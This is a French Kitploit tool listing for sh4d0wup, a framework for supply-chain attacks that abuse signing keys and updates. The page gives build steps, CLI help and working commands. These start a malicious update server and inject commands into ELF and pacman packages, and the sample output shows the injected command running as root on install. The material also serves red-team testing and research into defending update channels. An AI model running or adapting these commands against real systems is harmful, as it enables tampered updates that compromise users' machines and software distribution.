Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
sh4d0wup — Cadre d'exploitation des abus de clés de signature et des mises à jour | Kitploit
Outils/GitHubGitHub/kpcyrd/sh4d0wup
ExploitationTests d'IntrusionCommandement et ContrôleSécurité de la Chaîne LogistiqueRed TeamingDéveloppement de Charges Utiles
GitHubkpcyrd/sh4d0wup

sh4d0wup

Cadre d'exploitation des abus de clés de signature et des mises à jour

Voir le dépôt
1311321il y a 1 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

sh4d0wup

% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  front        Bind a http/https server but forward everything unmodified
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  req          Emulate a http request to test routing and selectors
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Increase logging output (can be used multiple times)
  -q, --quiet...    Reduce logging output (can be used multiple times)
  -h, --help        Print help information
  -V, --version     Print version information

👻 Que sont les mises à jour fantômes ?

Vous êtes-vous déjà demandé si la mise à jour que vous avez téléchargée est la même que celle que tout le monde reçoit, ou bien en avez-vous reçu une différente, conçue spécialement pour vous ? Les mises à jour fantômes sont des mises à jour qui n'existent officiellement pas mais qui portent des signatures valides et seraient acceptées comme authentiques par les clients. Cela peut se produire si la clé de signature est compromise par des pirates ou si un ingénieur de publication ayant un accès légitime devient malhonnête.

sh4d0wup est un serveur de mise à jour malveillant http/https qui agit comme un proxy inverse devant un serveur légitime et peut infecter + signer divers formats d'artefacts. Les attaques sont configurées dans des plots qui décrivent comment le routage des requêtes http fonctionne, comment les artefacts sont patchés/générés, comment ils doivent être signés et avec quelle clé. Une route peut avoir des selecteurs pour qu'elle corresponde seulement si, par exemple, le user-agent correspond à un motif ou si le client se connecte depuis une adresse IP spécifique. Pour le développement et les tests, des clés/certificats de signature factices peuvent être générés et marqués comme de confiance.

🏗️ Construction de l'exécutable sh4d0wup

Il existe un binaire pré-construit dans le dépôt [extra] d'Arch Linux. Pour construire le binaire à partir des sources sur un système basé sur Debian, utilisez ceci (testé avec Ubuntu 22.04) :

apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release

sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help

📦 Compiler un scénario (plot)

Certains scénarios sont plus complexes à préparer que d'autres. Pour éviter un long temps de démarrage dû aux téléchargements et au patchage des artefacts, vous pouvez construire un scénario à l'avance. Cela permet également de créer les signatures à l'avance.

sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

🦝 Exécuter un scénario

Cela lance un serveur de mise à jour http malveillant selon le scénario. Accepte également les fichiers yaml mais leur démarrage peut être plus long.

sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

Vous trouverez des exemples ici :

  • contrib/plot-archlinux.yaml
  • contrib/plot-debian.yaml
  • contrib/plot-rustup.yaml
  • contrib/plot-curl-sh.yaml

🪄 Infecter un artefact

  • sh4d0wup infect elf
  • sh4d0wup infect pacman
  • sh4d0wup infect deb
  • sh4d0wup infect oci

sh4d0wup infect elf

% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Turn debugging information on
  -h, --help        Print help information

sh4d0wup infect pacman

% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size:  13.36 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                                         [#######################################] 100%
(1/1) checking package integrity                                       [#######################################] 100%
(1/1) loading package files                                            [#######################################] 100%
(1/1) checking for file conflicts                                      [#######################################] 100%
(1/1) checking available disk space                                    [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup                                               [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

sh4d0wup infect deb

Télécharger l’outil